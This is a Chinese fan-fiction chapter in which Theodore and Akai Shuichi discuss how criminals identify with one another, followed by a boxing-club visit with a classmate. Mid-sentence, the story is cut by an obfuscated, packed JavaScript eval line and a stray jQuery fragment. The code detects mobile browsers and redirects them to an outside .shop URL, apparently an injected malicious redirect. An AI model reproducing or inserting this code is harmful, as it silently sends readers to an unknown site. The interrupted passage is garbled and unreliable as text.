翻报纸和翻书的声音轻巧地此起彼伏，像蜻蜓点水无痕一般划过空气。
不知道是哪个瞬间，狄奥多突然感受到一旁的人不知道从什么时候起，已经把目光停留在自己身上很久了。
然后赤井秀一忽然开口了：
“你觉得罪犯间——尤其是精神变态间的互相认同，是什么呢？”
狄奥多抬起头。赤井秀一没有看他，目光还落在书上，指腹轻轻捻着其中再普通不过的一页，抛出一个在两人间再常见不过的“课题”。
但这个问题并不普通。
这起爆炸案的犯人——贝尔——就是一个典型的反社会人格兼自恋型精神变态。
“……”
狄奥多放下报纸。他的注意力被这个问题从新闻里拽了出来，像一盆冷水浇在烧热的铁板上，滋啦一声，冒出一股白烟。
“……这个问题，”他沉默了片刻，低头看了一眼报纸上那张波士顿警方发布会的照片，“BAU的他们肯定有很多见解吧。”
他看向那些怒斥谈判官不得力的词句：“你觉得那些写评论抨击他们的媒体，也是‘与罪犯他人认同’的一环？”
赤井秀一终于抬起了眼睛。
“不，”
赤井秀一的眼睛很冷，很静，像圣诞夜的雪在注视着狄奥多。
那不是那种让人想上去踩一脚、陷入其中的蓬松的雪，而是卷在寒风与夜灯中、让人恍惚中陷入无尽安眠的那种。
“我认为罪犯的认知中心性和内群体情感构建起了他们心中的群体纽带。归根结底，这只是个人的狂欢。”
狄奥多有些惊讶。
“他们幻想，他们认同，他们支持。”
说完，男人又低下头去看书了，好像刚才那段话只是书页之间不小心掉出来的一片书签，捡起来放回去就行，没什么大不了的。
狄奥多低头看到头版上的那张照片——波士顿警方和BAU那位眼熟的发言人在新闻发布会上站成一排，表情凝重——
他们幻想自己犯罪，
他们认同自己的罪犯身份，
他们支持世界上的其他自己。
狄奥多略显难过地看着报纸。
他想起了几年前，他试图偷溜出病房时偶然听到基甸和罗西聊天。忙里偷闲的探员们正在等同僚的消息。罗西问基甸最近感觉怎么样，基甸沉默了很久，然后说了一句狄奥多当时没完全听懂的话。
“我们抓住了这一个，却很难感到轻松，因为我们明白外面还有五十个。”
狄奥多那时候以为基甸只是累了。
现在他好像有点明白了。
——狄奥多想了想，回复劳拉的话里留了点余地：“还好吧。就是有点理想化。”
“也是。”劳拉歪着头，觉得狄奥多说的有道理，“不过第一次来嘛。”
“克罗夫特？”
劳拉换了个话题。
“你上次说你这周末有空？说好的带我去你那个俱乐部的事情没忘吧。”
两个人留在研讨室里聊着。小组的成员几乎已经都走了，走廊里空荡荡的。
艾伦·格林菲尔德靠在墙边，表情有些阴郁。青年双手插在卫衣口袋里，踌躇半晌的脚步转向了楼梯口。
他不喜欢这个回答。
---
周日的下午难得没有安排，狄奥多悠哉地吃过午餐，直接去了乔治城大学的拳击俱乐部。
拳击俱乐部在乔治城大学体育馆附近的一栋两层小楼里。从侧门进去，沿着楼梯往下走，很快能闻到一股混合着汗味、消毒水和旧橡胶垫的气味。这种气味对狄奥多来说很熟悉——多亏了罗斯教练发现他逃课出来后无处可去，把他拉进了拳馆。是以狄奥多从初中就开始来这里了。
那时候他刚上初中，正处在一种他自己也说不清楚的叛逆期。家里的气氛越来越冷，父母之间的对话越来越少，他不想待在那个大房子里，就开始在外面晃。学校、图书馆、体育馆，什么地方都行，只要不用回去。
拳击俱乐部是他偶然发现的。当时俱乐部里的大学生看他一个初中生站在那里看他们训练，本来只是想让他进来坐坐，但旁边的罗斯教练说：“让他试试呗，干坐着多没意思。”结果他稀里糊涂地戴上了拳击手套，再后来就莫名其妙地一直留了下来。
现在那个学长早就不在了，狄奥多倒成了这里的常客。他不是打得最好的那个，但他是除了俱乐部里校队的正式成员之外，来得最稳定的那个。
换好衣服出来的时候，劳拉已经在训练区了。她穿着一件灰色的运动背心，手上缠着绷带，正在试着打沙袋。动作居然还挺熟练，就是有点小毛病，出拳的时候肩膀会不自觉地耸起来。
“你的手的位置太高了。”狄奥多走过去，他现在已经对指导别人称得上得心应手了，尤其是遇上过一个赤井秀一那样难缠的“学生”之后。赤井秀一总能想出一些吊诡的奇招，加上他优秀的搏击底子，前两年可是让狄奥多吃了不少苦头
青年拿起一对拳套，一眼就看出了问题：“试试放低一点，手腕保持水平。出手不要平直，也不要蓄力。从下往上，带点弧度。”
劳拉按照他说的调整了一下，又打了一拳，沙袋晃动的幅度比刚才大了一些。
“好像有点感觉了。”
“慢慢来。”狄奥多看了两眼，觉得没有问题，自己才开始缠绷带。
罗斯教练从休息室走出来，手里还握着一瓶功能饮料，看到劳拉，笑了一下：“哟，新面孔。狄奥多的朋友？”
“这是我同学，劳拉。”狄奥多笑着介绍，“她也学过一点拳击。劳拉，这是罗斯教练。”
“学过拳击？”罗斯看看劳拉，别过脸调侃，“我看不是吧？看着更像攀岩一类运动练出来的。”
劳拉的脸挂上了惊讶：“还真是，好眼力。”说着她也笑了，“之前跟狄奥多聊天，他提起他在这里练，很是夸了一番。我好奇，就拜托他什么时候带我来看看了。”
罗斯点了点头，俱乐部里形形色色的人都有，他自然不会惊讶。罗斯走到劳拉旁边，手把手纠正了一下她的站姿，然后退后两步，看着她打了几下。
“还行。”罗斯评价道，带着点鼓励的意思。然后他看了一眼狄奥多，“至少比这小子第一次来的时候强。”
狄奥多正在绑另一只手的绷带，听到这话头都没抬——罗斯这是又拿他当教学案例呢，前年他带赤井秀一来的时候也这样。青年只是轻轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594186|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
接过话茬：“我第一次来怎么了？”
“你第一次来，连站都站不稳。”罗斯哼了两声，“我当时就在想，这小子能坚持三天就不错了。”
“结果我坚持了快十年。”狄奥多勾了勾嘴角，然后突然意识到自己现在的表情可能是学自己那位忙碌的室友的。
“那是因为你劲儿大。”罗斯被他欠欠的表情逗得笑骂起来，然后指着狄奥多看向劳拉，“这小子其实天赋一般，但就是劲儿大。看着长得像个我老婆买的花瓶，打不打得准也要另说，但力气是真的有不少。”
劳拉笑了出来。狄奥多也笑了，摇了摇头，没有反驳——毕竟罗斯说的确实是实话。
训练了一会儿，狄奥多两人坐到角落里的长椅上休息。
劳拉大口大口地喝着水，额头的汗顺着脸颊往下淌。狄奥多靠墙坐着，用毛巾擦去脖颈与手臂上的汗。
空气里的温度一时间降了下来，隔断另一头的远方隐约传来打沙袋的闷响。
“说起来，我之前都是跟R……基利安一起来的呢。”狄奥多忽然有点感慨。
狄奥多提的突然，劳拉不禁有些惊讶：“基利安？也是，你们好像总是一起出现呢，不过他现在毕业了。你跟他还有联系吗？”
“啊。”狄奥多犹豫了一下，“其实我们合租了一个房子，在校外，还挺方便的。”
“怪不得你们总是一起来组会！”劳拉大大咧咧地，她理了理手上的绷带，“那他打得怎么样？跟你一起来拳馆的时候。”
“挺好的。”狄奥多想到一开始赤井秀一轻松把自己绊倒的样子，忍不住笑了，“他的反应比我快。”
“比你快？”劳拉这下可感兴趣了。在她看来，刚刚多练时的狄奥多已经很厉害了，基利安居然比他更厉害？
“嗯。他打的时候脑子转的很快，总是能很快预判和截获对手的攻击。”狄奥多兴致勃勃，“你能感觉到他在看你的时候就计算好了你的出拳路线，等你的拳头到了那个位置，他已经不在那里了。”
“不过，”狄奥多可不会认输，“我们练熟了之后我也赢过不少次啦！”
劳拉听着，脸上居然出现了几分跃跃欲试：“听起来他也挺强的嘛。”
狄奥多笑了一下——那当然。
“啊！对了，”说着说着劳拉突然一拍掌心，“克里斯上午补测完，还跟我打听这个俱乐部来着，你那次提起来的时候他也在嘛。”
“他也想来？”狄奥多惊讶不已。克里斯看起来完全就是一副电脑宅男的模样，居然也会对拳击俱乐部感兴趣？
“他本来还想跟我一起来看看的，但他说已经跟迈尔斯约好了别的事。”劳拉语气里有些可惜，“他还让我跟你提一嘴，说下次一定来。”
迈尔斯是去年加入小组的大四生，狄奥多确实发现他和克里斯挺有共同语言的，好像连毕业论文都是一起做的物证相关。上次狄奥多在一篇案例上遇到法医办公室相关的报告问题，还是他俩帮忙解决的呢。
狄奥多笑了，他也挺喜欢克里斯这个朋友的：“行啊，下次叫他一起。”
“他说他想学是因为看了那个什么电影，觉得打拳很帅。”劳拉却翻了个白眼，“我觉得他坚持不了两周。”